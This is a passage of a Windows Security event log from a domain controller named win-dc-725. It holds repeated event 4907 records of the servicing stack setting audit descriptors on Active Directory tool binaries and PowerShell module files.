Object Type: File - Object Name: C:\Windows\SysWOW64\ntdsutil.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247443 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\ldp.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247442 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\ldifde.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247441 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\gpfixup.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247440 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsuiwiz.dll - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247439 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dssite.msc - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247438 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsrm.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247437 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsquery.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247436 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsmove.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247435 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsmod.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247434 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsmgmt.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247433 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsget.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247432 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsdbutil.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247431 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsadmin.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247430 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsadd.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247429 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsacls.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247428 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dsa.msc - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247427 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\domain.msc - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247426 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\domadmin.dll - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247425 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\delegwiz.inf - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247424 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dcpromoui.dll - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247423 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dcpromocmd.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247422 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dcdiag.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247421 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\csvde.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247420 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\adsiedit.msc - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247419 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\adsiedit.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247418 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\adprop.dll - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247417 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\en-US\ActiveDirectoryPowerShellResources.dll.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247416 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectoryPowerShellResources.dll - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247415 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Types.ps1xml - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247414 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.psd1 - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247413 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Format.ps1xml - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247412 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\schmmgmt.dll.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247411 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\repadmin.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247410 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - 